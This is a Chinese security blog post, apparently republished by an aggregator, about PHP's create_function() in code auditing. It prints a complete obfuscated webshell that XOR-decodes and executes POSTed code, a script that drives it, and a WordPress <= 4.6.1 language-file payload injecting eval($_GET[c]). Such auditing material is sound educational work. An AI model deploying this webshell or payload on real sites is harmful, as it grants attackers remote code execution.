5

create_function()函数和一个木马文件的测试

 2 years ago
source link: https://cjjkkk.github.io/create-function-in-PHP/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client
  • create_function()
  • wordpress <= 4.6.1 使用语言文件任意代码执行漏洞
  • create_function()被高版本 PHP 废弃

0x00 create_function()

(PHP 4> = 4.0.1,PHP 5,PHP 7)

create_function ——创建一个匿名(lambda样式)函数


create_function ( string $args , string $code ) : string

根据传递的参数创建一个匿名函数,并为其返回一个唯一名称。


通常,这些参数将作为单引号分隔的字符串传递。 使用单引号引起来的字符串的原因是为了防止变量名被解析,否则,如果您使用双引号,则需要转义变量名,例如 \ $ avar。

3.返回值


以字符串形式返回唯一的函数名称,或在错误时返回FALSE。

0x01 函数示例

<?php
$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
echo "New anonymous function: $newfunc\n";
echo $newfunc(2, M_E) . "\n";

// outputs
// New anonymous function: lambda_1
// ln(2) + ln(2.718281828459) = 1.6931471805599

?>

可以看到,create_function()会创建一个lambda样式的匿名函数,此处名为lambda_1,其内容为计算ln($a) + ln($b)的值。

create_function()函数会在内部执行eval(),执行后面的return语句,属于create_function()中的第二个参数,因此该匿名函数的创建与执行过程同下

<?php
function lambda_1($a,$b){
return "ln($a) + ln($b) = " . log($a * $b);
}
?>

create_function()函数在代码审计中,主要用来查找项目中的代码注入和回调后门的情况,熟悉了执行流程,我们可以熟练的实现对代码注入的 payload 构造,从而进行漏洞挖掘和找出存在的缺陷。

0x02 文件分析

<?php

# filename : 6661.php

function Gnirts_Vnoc($str){
$str_len = strlen($str);
$str_tmp = base64_decode('ej9UIXAk');
$tmp_len = strlen($str_tmp);

for($i = 0; $i < $str_len; $i++) {
$str[$i] = $str[$i] ^ $str_tmp[$i % $tmp_len];
}
return $str;
}

function Xeh_Vnoc($str){
$string='';

for ($i=0; $i < strlen($str)-1; $i+=2){
$string .= chr(hexdec($str[$i].$str[$i+1]));
}
return $string;
}

$ID1 = base64_decode($_POST["AVG"]);
$ID2 = Gnirts_Vnoc($ID1);
$VALUE1 = base64_decode($_POST[$ID2]);
$VALUE2 = Gnirts_Vnoc($VALUE1);
$CR = create_function("", $VALUE2);
$CR();

?>

这个代码仔细一看其实并不算复杂,传入一个AVG作为私钥,生成用于执行命令的$ID2,但问题就在于输入的命令需要经过base64加密和Gnirts_Vnoc()的加密才能正确执行。

我们将目光放到Gnirts_Vnoc()函数上,这个函数通过对给定字符串的异或运算,生成密文,同时能将密文通过异或运算进行解密,那么正确的参数传递需要经过该函数的加密才能执行。于是我们构建如下脚本用于测试

<?php

# filename : 6662.php

function Gnirts_Vnoc($str){
$str_len = strlen($str);
$str_tmp = base64_decode('ej9UIXAk');
$tmp_len = strlen($str_tmp);

for($i = 0; $i < $str_len; $i++) {
$str[$i] = $str[$i] ^ $str_tmp[$i % $tmp_len];
}
return $str;
}

$command = base64_encode(Gnirts_Vnoc("phpinfo();"));
$url='http://localhost/test/6661'.'?AVG=MQ==&K='.$command;
echo $url;
$html = file_get_contents($url);
echo $html;

?>

0x03 wordpress <= 4.6.1 使用语言文件任意代码执行漏洞

接下来我们看这个版本的WordPress中,一处用到create_function的地方,在wp-includes/pomo/translations.php203-209行:

/**
* Makes a function, which will return the right translation index, according to the
* plural forms header
* @param int $nplurals
* @param string $expression
*/
function make_plural_form_function($nplurals, $expression) {
$expression = str_replace('n', '$n', $expression);
$func_body = "
\$index = (int)($expression);
return (\$index < $nplurals)? \$index : $nplurals - 1;";
return create_function('$n', $func_body);
}

我们看一下正常的字体文件zh_CN.mo,其中有这么一段:

MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Plural-Forms: nplurals=1; plural=n;
X-Generator: Poedit 1.8.7
Project-Id-Version: 4.3.x

Plural-Froms这个header就是上面的函数所需要处理的,其中nplurals的值即为$nplurals的值,而plural的值正是我们需要的$expression的值。所以我们将字体文件进行如下改动:

Plural-Forms: nplurals=1; plural=n;}eval($_GET[c]);/*;

我们payload中的)首先闭合了前面的(,然后;结束前面的语句,接着是我们的一句话木马,然后用/*将后面不必要的部分注释掉,通过这样,我们就将payload完整的传入了create_function,在其创建函数时我们的payload就会被执行,由于访问每个文件时都要用这个对字体文件解析的结果对文件进行翻译,所以我们访问任何文件都可以触发这个payload。

0x04 create_function()被高版本 PHP 废弃

PHP 7.2.0开始,create_function()被废弃。

参考

PHP官方手册

代码审计之create_function()函数


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK